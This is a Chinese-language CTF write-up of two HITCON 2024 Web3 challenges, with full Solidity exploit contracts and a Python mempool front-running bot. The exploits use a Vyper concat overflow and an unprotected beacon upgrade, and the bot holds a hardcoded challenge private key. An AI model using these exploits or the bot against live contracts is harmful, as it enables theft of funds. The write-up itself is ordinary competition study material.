HITCON CTF 2024 Web3 writeup by ChaMd5
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Web3
Lustrous
解题思路
发送battle交易的gasprice=0，意味着只要10gwei左右的gasprice就可以完成抢跑。
轮询pending交易，并过滤出battle(uint8 memory)类型的交易，解出其中的参数，并进行修改，在battle交易前抢跑一个交易，把这个新列表传到master合约，使每次石头剪刀步都能赢。
0.3.10版本的vyper编译器存在internal concat bug，在代码的上文mem中有负数，再调用有concat的internal函数，会将这个数溢出，变成一个极大值。而在merge_gem()函数，完美符合这个条件。只要让gem1.health变为负数，就可以让合并出来的宝石的血量溢出到2<<96，远远大于月球人的的血量，这样就可以满足stage3的条件。
现在目标为创造一个血量为负的宝石，让它与一个血量为正的合并。血量为负的宝石可以在battle输掉之后创造，但值得注意的是，在合并宝石时，不能出现destoryed状态的宝石，但是在改变宝石状态之前会调用函数decide_continue_battle。如果这时候进入到decide_continue_battle函数，此时血量为负，而且状态为active，所以可以在此时进行合并。同时合并需要另一个宝石为INACTIVE状态，即血量小于64大于0。由于月球人的攻击值是确定的，所以只要满足0 < (health - 10000/hardness) < 64 的宝石即可。值得注意的是，如果在stage1或stage2，月球人攻击值过高，无法满足条件，所以需要destroy一个宝石来回退到stage0。同时也要制作收到一次攻击后血量变成负的宝石，只要满足(health - 10000 / hardness) < 0 即可。
流程：
创建Master合约并向合约发送1 ether，剩余的0.5 ether作为手续费
创建第1颗宝石，花费1 ether
抢跑两次battle，共获取3 ether
创造第2和第3颗宝石
创造第4颗宝石(宝石的所有参数由blocknum决定，同一区块产生的宝石都相同，而产生第三和第四颗宝石的条件相斥，所以需要放在两个区块)
指定第1颗宝石，运行一次battle，将这颗destory并回退到stage0
指定第4颗宝石，运行一次battle，将这颗宝石变为destroy，同时还是stage0
指定第3颗宝石，运行一次battle，这颗宝石的血量变为负，并进入decide_continue_battle函数，在这个函数中合并第3和第4宝石，发生溢出，这时第3颗宝石血量为2<<96，在完成合并后，会根据血量改变宝石状态，此时状态变为active，并被认为赢了月球人，此时stage为1
抢跑两次battle，完成题目条件
完整exp：
pragma solidity ^0.8.0;
interface Ilus {
function register_master() external;
function create_gem() external payable;
function merge_gems() external ;
function stage() external view returns (uint8);
function gems(bytes32 id) external returns (int256, int256, int256, int256, uint);
function assign_gem(uint32 seq) external;
}
contract Exp{
Ilus public lus = Ilus(payable(0x16012b5ee75F4bd4F917eb6395F945EdBBb365Aa));
uint256 public counts;
uint256 constant MAX_ROUNDS0 = 100;
uint256 constant MAX_ROUNDS1 = 200;
uint256 constant MAX_ROUNDS2 = 300;
uint8[] public actions0;
uint8[] public actions1;
uint8[] public actions2;
event Fail(uint256, int256);
event Set();
enum GemStatus {
ACTIVE,
INACTIVE,
DESTROYED
}
struct Gem {
int256 health;
int256 max_health;
int256 attack;
int256 hardness;
GemStatus status;
}
constructor() payable {
for (uint i = 0; i < MAX_ROUNDS0; i++) {
actions0.push(0);
}
for (uint i = 0; i < MAX_ROUNDS1; i++) {
actions1.push(0);
}
for (uint i = 0; i < MAX_ROUNDS2; i++) {
actions2.push(0);
}
// create first gem
create_gem0();
}
function create_gem0() public {
// firstly this contract has 1.5 ether, create 1st gem
register_master();
create_gem();
lus.assign_gem(0);
counts = 2;
}
function create_gem1() public {
// after the 1st front run
// now have 1 ether, create 2nd gem
counts = 2;
}
// function create_gem2() public {
// create_gem();
// }
function create_gem12() public {
// after the 2nd front run before 3rd battle
// now have 3 ether, create 2nd 3rd 4th gem
require(address(this).balance == 3 ether, "no");
create_gem();
create_gem();
// gem 1 should destory at 3th battle(stage2) to into the stage0
(int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 2));
// make sure after attack, the gem is desdry
require((health - 10000 / hardness) < 0, "no2");
require(health!=64, "no3");
// gem 1 should destory at 3th battle(stage2) to into the stage0
lus.assign_gem(0);
counts = 3;
}
function create_gem3() public {
require(address(this).balance == 1 ether, "no");
create_gem();
(int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 3));
// make sure after attack, the gem is inactive
require((health - 10000 / hardness) < 64 && (health - 10000 / hardness) > 0, "no1");
}
function solve3() external {
// before 4th battle, assign the 4th gem, after attack health will be inactive
lus.assign_gem(3);
counts = 4;
}
function getStage() public view returns(uint){
return lus.stage();
}
function set_actions0(uint8[] memory _actions) external {
for (uint i = 0; i < MAX_ROUNDS0; i++) {
actions0[i] = _actions[i];
}
emit Set();
}
function set_actions1(uint8[] memory _actions) external {
for (uint i = 0; i < MAX_ROUNDS1; i++) {
actions1[i] = _actions[i];
}
emit Set();
}
function set_actions2(uint8[] memory _actions) external {
for (uint i = 0; i < MAX_ROUNDS2; i++) {
actions2[i] = _actions[i];
}
emit Set();
}
function get_actions() external view returns (uint8[] memory) {
uint256 currentStage = lus.stage();
if (currentStage == 0){
return actions0;
}else if (currentStage == 1){
return actions1;
}else{
return actions2;
}
}
// impl decide_continue_battle function
function decide_continue_battle(uint256 round, int256 lunarian_health) external returns (bool) {
if (counts <= 2) {
// first 2 time, use front run win all round and get all 4 ether to create all 4gems
// should not in this place
revert();
} else if (counts == 3) {
// using the 1st gem to getback stage0
return true;
} else if (counts == 4) {
// now in the stage 0 get fall
(int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 3));
// make sure health > 0, so now the gem is inactive
require(health > 0, "no" );
lus.assign_gem(2);
counts = 5;
// create_and_merge();
} else if (counts == 5) {
// now in the stage 0 get fall
(int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), 2));
require(health < 0, "no1" );
// will merge 3rd 4th gem which lead overflow
lus.merge_gems();
lus.assign_gem(2);
counts = 6;
} else if (counts == 6) {
// in 6th and 7th 8th battle, use front run to prevent lose, and win
revert();
}
return true;
}
function set_id(uint256 i) public {
counts = i;
}
receive() payable external{}
function register_master() public {
lus.register_master();
}
function create_and_merge() public {
create_gem();
merge_gems();
assign_gem(0);
}
function create_gem() public {
lus.create_gem{value: 1 ether}();
}
function merge_gems() public {
lus.merge_gems();
}
function assign_gem(uint32 seq) public {
lus.assign_gem(seq);
}
function getGemId(address masterAddr, uint32 sequence) public pure returns (bytes32) {
// 将地址和序列号编码并连接在一起
bytes memory data = abi.encodePacked(masterAddr, sequence);
// 计算 keccak256 哈希值
bytes32 gemId = keccak256(data);
return gemId;
}
function get_health(uint32 index) public returns(int256) {
(int256 health, int256 max_health, int256 attack , int256 hardness, uint status) = lus.gems(getGemId(address(this), index));
return health;
}
}
抢跑脚本：
from web3 import Web3
abi = [
{
"constant": False,
"inputs": [
{
"internalType": "uint8[]",
"name": "actions",
"type": "uint8[]"
}
],
"name": "battle",
"outputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"internalType": "uint8[]",
"name": "_actions",
"type": "uint8[]"
}
],
"name": "set_actions0",
"outputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"internalType": "uint8[]",
"name": "_actions",
"type": "uint8[]"
}
],
"name": "set_actions1",
"outputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": False,
"inputs": [
{
"internalType": "uint8[]",
"name": "_actions",
"type": "uint8[]"
}
],
"name": "set_actions2",
"outputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
}
]
infura_url = "http://lustrous.chal.hitconctf.com:8545/ae72e4aa-7d85-4b82-9992-466e6591cc9b"
web3 = Web3(Web3.HTTPProvider(infura_url))
master_addr = "0xb7350CD25aD42f2d15a4807A63AC2d6572513ef8"
private_key = '0xf089ee5af0f3e5e5646c1df4bc24a18f8706e070f2c12ea961fc336492bc7791'
account = web3.eth.account.from_key(private_key)
from_address = account.address
contract = web3.eth.contract(address=master_addr, abi=abi)
def handle_pending_transaction(tx_hash):
tx = dict(web3.eth.get_transaction(tx_hash))
data = tx["input"].hex()
if data.startswith(Web3.keccak(b"battle(uint8[])")[:4].hex()):
func, arguments = contract.decode_function_input(tx['input'])
_actions = []
for action in arguments["actions"]:
if action == 0:
_actions.append(1)
elif action == 1:
_actions.append(2)
else:
_actions.append(0)
if len(_actions) == 100:
func_name = "set_actions0"
elif len(_actions) == 200:
func_name = "set_actions1"
else:
func_name = "set_actions2"
_actions = arguments["actions"]
calldata = contract.encode_abi(func_name, {"_actions":_actions})
nonce = web3.eth.get_transaction_count(from_address)
tx = {
'nonce': nonce,
'to': master_addr,
'value': web3.to_wei(0, 'ether'),
'gas': 10000000,
'gasPrice': web3.to_wei('10', 'gwei'),
'data': calldata
}
signed_tx = web3.eth.account.sign_transaction(tx, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
print(f"Transaction sent with hash: {tx_hash.hex()}")
def main():
if web3.is_connected():
print("Connected to Ethereum network")
# 创建pending交易过滤器
pending_filter = web3.eth.filter('pending')
# 开始监听pending交易
print("Listening for pending transactions...")
while True:
pending_tx_hashes = pending_filter.get_new_entries()
for tx_hash in pending_tx_hashes:
handle_pending_transaction(tx_hash)
else:
print("Failed to connect")
if __name__ == "__main__":
main()
No-Exit Room
解题思路
题目中给出的puzzlehash，猜测为每个房间的秘密值之和。
beacon合约中有updata函数，可以将protocol合约换为任意合约，让两个函数都返回相同的值即可。每个room合约可以向邻居发送3条消息，加上自己可以调用自己的一条消息，一共三个点，满足题目条件，注意不要发送每个room的秘密值。
完整EXP
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
// import "./interface/IBeacon.sol";
// import "./interface/IChannel.sol";
// import "./interface/IProtocol.sol";
// import "./interface/Iroom.sol";
// import "./interface/Isetup.sol";
import "./Setup.sol";
contract Exp {
Setup public setup = Setup(0x90a6e2d0148C1aae7b5e85b629ACd9792d2db5ee);
Room public alice = Room(address(setup.alice()));
Room public bob = Room(address(setup.bob()));
Room public david = Room(address(setup.david()));
Beacon public beacon = Beacon(address(setup.beacon()));
constructor() {
setup.commitPuzzle(116);
alice.request(address(bob), 10);
alice.request(address(david), 11);
alice.selfRequest(100);
bob.request(address(alice), 13);
bob.request(address(david), 14);
bob.selfRequest(100);
david.request(address(alice), 16);
david.request(address(bob), 17);
david.selfRequest(100);
Fake fake = new Fake();
beacon.update(address(fake));
int256[] memory xvs = new int256[](3);
xvs[0] = 12;
xvs[1] = 13;
xvs[2] = 16;
alice.solveRoomPuzzle(xvs);
xvs[0] = 10;
xvs[1] = 15;
xvs[2] = 17;
bob.solveRoomPuzzle(xvs);
xvs[0] = 11;
xvs[1] = 14;
xvs[2] = 18;
david.solveRoomPuzzle(xvs);
require(setup.isSolved());
}
}
contract Fake{
function evaluate(int256[] calldata, int256) external pure returns (int256) {
return 100;
}
function evaluateLagrange(int256[] memory, int256[] memory, int256) external pure returns (int256){
return 100;
}
}
结束
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